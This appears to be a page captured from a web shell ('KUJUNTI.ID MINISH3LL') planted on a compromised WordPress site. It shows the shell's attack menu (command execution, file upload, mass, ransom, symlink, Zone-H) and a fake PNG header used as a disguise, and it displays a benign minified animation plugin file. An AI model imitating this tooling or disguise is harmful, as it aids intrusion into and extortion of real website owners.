\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/csarite.com/public_html/wp-content/plugins/motionpage/assets/js/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/csarite.com/public_html/wp-content/plugins/motionpage/assets/js/ImageSequence.js


function e(e,t,i,n,s,a,r){try{var l=e[a](r),o=l.value}catch(e){i(e);return}l.done?t(o):Promise.resolve(o).then(n,s)}function t(t){return function(){var i=this,n=arguments;return new Promise(function(s,a){var r=t.apply(i,n);function l(t){e(r,s,a,l,o,"next",t)}function o(t){e(r,s,a,l,o,"throw",t)}l(void 0)})}}class i{_loadDebugger(){var e=this;return t(function*(){if(!e._log){let{default:t}=yield import("./isDebug.js");e._log=t}})()}static _checkDevice(e){let t=navigator.userAgent.toLowerCase(),i={CHROME:()=>t.includes("chrome")&&"chrome"in window&&!t.includes("edg"),SAFARI:()=>/^((?!chrome|android).)*safari/i.test(t),FIREFOX:()=>t.includes("firefox"),EDGE:()=>t.includes("chrome")&&t.includes("edg"),IE:()=>/msie|trident/.test(t),TOUCH:()=>"ontouchstart"in window||navigator.maxTouchPoints>0||navigator.msMaxTouchPoints>0,MOBILE:()=>/android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(t),PC:()=>!/android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(t),MOBILE_SAFARI:()=>/iphone|ipad|ipod/i.test(t)&&/^((?!chrome|android).)*safari/i.test(t)};return(null!=e?e:[]).some(e=>{var t;return null==i?void 0:null==(t=i[e])?void 0:t.call(i)})}static _checkConnection(e){var t,i;let n=null==(i=navigator)?void 0:null==(t=i.connection)?void 0:t.downlink;return n&&n<1.2||e>600}static _checkFallback(e,{mediaQuery:t,isBuilder:n,whenDisabled:s}){let a=[!!s.includes("SLOW_CONNECTION")&&i._checkConnection(e),!window.matchMedia(t).matches,i._checkDevice(s)];return{enableFallback:!n&&a.some(Boolean),potentialReasons:a}}_setCanvas(e,t){if(!(t&&"string"==typeof t))return this._log&&this._log({id:e,err:1}),!1;let i=document.querySelector(t);if(!i)return!1;if("CANVAS"===i.nodeName&&"function"==typeof i.getContext)return i.dataset.sequenceId=e,i;let n=i.querySelector("canvas");return n&&"mp-sequence"===i.nodeName.toLowerCase()?(i.dataset.sequenceId=e,n):(this._log&&this._log({id:e,err:2}),!1)}constructor(){if(this._log=null,this.constructor===i)throw Error("Cannot create an instance of ISBase")}}i.transpExt=["png","webp","avif"];export class ImageSequence extends i{get currentNode(){return ImageSequence.canvasInstances[this.canvasSelector].currentNode}set currentNode(e){ImageSequence.canvasInstances[this.canvasSelector]&&(ImageSequence.canvasInstances[this.canvasSelector].currentNode=e)}_init(){var e=this;return t(function*(){if(!e.id||!e.canvasSelector||!e.largeImagesRoot||!e.totalFrames)return;e.isDebug&&(yield e._loadDebugger());let t=e._setCanvas(e.id,e.canvasSelector);t&&(e._canvas=t,e._handleInstances())})()}_handleInstances(){let{canvasSelector:e,id:t}=this,i=ImageSequence.canvasInstances[e];i&&ImageSequence.canvasInstances[e].index++,e&&(i||(ImageSequence.canvasInstances[e]={index:1,currentNode:t}),this._canvasIndex=ImageSequence.canvasInstances[e].index),this._setup()}_setup(){var e=this;return t(function*(){var t,i,n,s,a,r;let{smallImagesRoot:l,mediumImagesRoot:o,frames:c}=e,h=e._canvas;e.totalFrames=c[1]-c[0]+1,e.startAt=e.isReverse?e.frames[1]:e.frames[0],l&&innerWidth<(null!=(a=null==(i=window.MOTIONPAGE_FRONT)?void 0:null==(t=i.bp)?void 0:t.s)?a:768)?e._basePath=l:o&&innerWidth<(null!=(r=null==(s=window.MOTIONPAGE_FRONT)?void 0:null==(n=s.bp)?void 0:n.m)?r:1024)?e._basePath=o:e._basePath=e.largeImagesRoot;let d=ImageSequence.transpExt.includes(e.ext)||"contain"===e.scaleMode;if(e._ctx=h.getContext("2d",{alpha:d,willReadFrequently:!0}),!e._ctx){"function"==typeof h.remove&&h.remove(),e._log&&e._log({id:e.id,err:5});return}e._resizeController=new AbortController,ImageSequence.resizeControllers.push(e._resizeController),e._handleResize=e._handleResize.bind(e),addEventListener("resize",e._handleResize,{signal:e._resizeController.signal}),e._basePath&&e._loadFirstFrame()})()}_loadFirstFrame(){let e=performance.now(),t=this.numPadding?String(this.startAt).padStart(this.numPadding,"0"):String(this.startAt);if("0000"===t)return;let{enableFallback:i,potentialReasons:n}=ImageSequence._checkFallback(performance.now()-e,{mediaQuery:this.mediaQuery,isBuilder:this._isBuilder,whenDisabled:this.whenDisabled});if(i){this._handleFallback(n);return}this._handleResize(),window.MOTIONPAGE_FRONT.isw.loadImage({src:`${this._basePath}${t}.${this.ext}`,origin:document.location.origin}).then(e=>{1===this._canvasIndex&&e&&requestAnimationFrame(()=>this._canvasDraw(e,this.startAt-this.startAt)),this._loadImages()}).catch(()=>{this._log&&this._log({id:this.id,err:3})})}_loadImages(){var e=this;return t(function*(){let{totalFrames:t,frames:i}=e;if(!t||i[1]<i[0]){e._log&&e._log({id:e.id,err:7});return}let{priorityQueue:n,queue:s}=e._createQueue(),a=performance.now();if(yield e._loadPriorityQueue(n,a),null==s?void 0:s.length){if(e._loadQueue=e._loadQueue.bind(e),e.isInternObserv&&"IntersectionObserver"in window&&!e._isBuilder){e._handleInterObserve(()=>e._loadQueue(s));return}e._loadQueue(s)}})()}_createQueue(){let{totalFrames:e,skipFrames:t}=this,i=Array.from({length:this.totalFrames},(e,t)=>t+this.startAt);t&&(i=i.filter((e,i)=>i%t!=0));let n=i.slice(0,Math.floor(.25*i.length)),s=n.map((t,s)=>{let a=Math.floor(s/n.length*e);return i.reduce((e,t)=>Math.abs(t-a)<Math.abs(e-a)?t:e)}),a=i.filter(e=>!s.includes(e));return(null==a?void 0:a.length)&&!(null==s?void 0:s.length)&&(s=a,a=[]),{priorityQueue:s,queue:a}}_loadImage(e){var i=this;return t(function*(){if(0===e)return null;let t=String(e).padStart(i.numPadding,"0");return window.MOTIONPAGE_FRONT.isw.loadImage({src:`${i._basePath}${t}.${i.ext}`,origin:document.location.origin}).then(e=>e).catch(()=>null)})()}_loadPriorityQueue(e,i){var n=this;return t(function*(){for(let t of e)yield n._loadImage(t);if(n._log){let t=((performance.now()-i)/1e3).toFixed(3);n._log({id:n.id,err:8},null==e?void 0:e.length,t)}})()}_loadQueue(e){let t=performance.now();for(let t of e)this._loadImage(t);let i=((performance.now()-t)/1e3).toFixed(3);this._log&&this._log({id:this.id,err:9},null==e?void 0:e.length,i)}_handleInterObserve(e){let t=new IntersectionObserver(i=>{i.length>0&&i[0].isIntersecting&&(t.disconnect(),e())},{rootMargin:`${this.ioMargin}%`});t.observe(this._canvas)}_handleResize(){let e=this._canvas;if(1===this._canvasIndex){var t,i;let n=1.25*window.devicePixelRatio,s=null!=(t=e.offsetWidth)?t:e.width,a=null!=(i=e.offsetHeight)?i:e.height;e.width=s*n,e.height=a*n}this._imgIdxInCanvas&&this.id===this.currentNode&&this._loadImage(this._imgIdxInCanvas).then(e=>{e&&requestAnimationFrame(()=>this._canvasDraw(e,this._imgIdxInCanvas))})}_handleFallback(e){let{fallbackMode:t}=this;if([0,1,4].includes(t)){let e=this.startAt-this.startAt;if(e=0===e?e+1:e,4===t){var i,n;e=null!=(n=null!=(i=this.totalFrames)?i:this.frames[1])?n:1}this._loadImage(e).then(i=>{i?this._canvasDraw(i,e,1!==t):this._canvas&&"function"==typeof this._canvas.remove&&this._canvas.remove()})}2===t&&this._canvas&&"function"==typeof this._canvas.remove&&this._canvas.remove(),1!==t&&this._resizeController&&this._resizeController.abort(),this._preventUpdate=!0,this._log&&this._log({id:this.id,err:6},t,e.indexOf(!0))}handleUpdate(e){if(this._preventUpdate||this._lock)return;let t=Math.floor((this.isReverse?1-e:e)*this.totalFrames);this._loadImage(t).then(e=>{e&&requestAnimationFrame(()=>this._canvasDraw(e,t))})}reset(){this._lock=!0,this._resizeController&&(removeEventListener("resize",this._handleResize),this._resizeController.abort(),this._resizeController=null),ImageSequence.resizeControllers=ImageSequence.resizeControllers.filter(e=>e!==this._resizeController),setTimeout(()=>{this._lock=!1,this._init()},100)}_canvasDraw(e,t,i=!1){let n,s;if(!e)return;let a=this._canvas;if(!a)return;let r=this._ctx,l=a.width,o=a.height,c=l/o,h=e.width/e.height,d=null,u=null;if("cover"===this.scaleMode?(c>h?s=(n=l)/h:n=(s=o)*h,d=l/2-n/2,u=o/2-s/2):"contain"===this.scaleMode?c<h?s=(n=l)/h:n=(s=o)*h:(n=e.width,s=e.height),d=null===d?l/2-n/2:d,u=null===u?o/2-s/2:u,r.save(),(this._isBuilder||ImageSequence.transpExt.includes(this.ext)||"contain"===this.scaleMode)&&(r.clearRect(0,0,l,o),r.fillStyle="rgba(0, 0, 0, 0)",r.fillRect(0,0,l,o)),r.drawImage(e,0,0,e.width,e.height,~~d,~~u,~~n,~~s),r.restore(),i){a.toBlob(e=>{if(!e)return;let t=new Image;t.onload=()=>{var e;t.style.objectFit=this.scaleMode,null==(e=a.parentNode)||e.replaceChild(t,a),URL.revokeObjectURL(t.src)},t.onerror=()=>{console.error("Error while replacing canvas with image")},t.src=URL.createObjectURL(e)});return}this._imgIdxInCanvas=t,this.currentNode=this.id}constructor(e){var t,i,n,s,a,r,l,o,c,h,d,u,m,_,g,v,I,f,w;super(),this._isBuilder=!!(null==(i=window)?void 0:null==(t=i.top)?void 0:t.motionpage),this._canvas=null,this._ctx=null,this._canvasIndex=0,this._imgIdxInCanvas=0,this._basePath="",this._preventUpdate=!1,this._lock=!1,this._resizeController=null,this.startAt=1,this.scaleMode="cover",void 0!==e.frames&&Array.isArray(e.frames)||(e.frames=[]),this.id=null!=(n=e.id)?n:"",this.canvasSelector=null!=(s=e.canvasSelector)?s:"",this.largeImagesRoot=null!=(a=e.largeImagesRoot)?a:"",this.mediumImagesRoot=null!=(r=e.mediumImagesRoot)?r:"",this.smallImagesRoot=null!=(l=e.smallImagesRoot)?l:"",this.ext=null!=(o=e.ext)?o:"jpg",this.totalFrames=null!=(c=e.totalFrames)?c:0,this.numPadding=null!=(h=e.numPadding)?h:4,this.skipFrames=null!=(d=e.skipFrames)?d:0,this.frames=2===e.frames.length?e.frames:[1,this.totalFrames],this.isDebug=null!=(u=e.isDebug)&&u,this.isReverse=null!=(m=e.isReverse)&&m,this.isInternObserv=null!=(_=e.isIntersectionObserver)&&_,this.ioMargin=null!=(g=e.intersectionObserverMargin)?g:0,this.timelineUID=null!=(v=e.timelineUID)?v:"",this.whenDisabled=null!=(I=e.whenDisabled)?I:[],this.fallbackMode=null!=(f=e.fallbackMode)?f:0,1===e.imageFit?this.scaleMode="contain":2===e.imageFit&&(this.scaleMode="fill"),this.mediaQuery=null!=(w=e.mediaQuery)?w:"screen",this._init()}}ImageSequence.canvasInstances={},ImageSequence.resizeControllers=[],window._mp_ImageSequence=ImageSequence,window.MOTIONPAGE_FRONT.imageSequence=ImageSequence;

© KUJUNTI.ID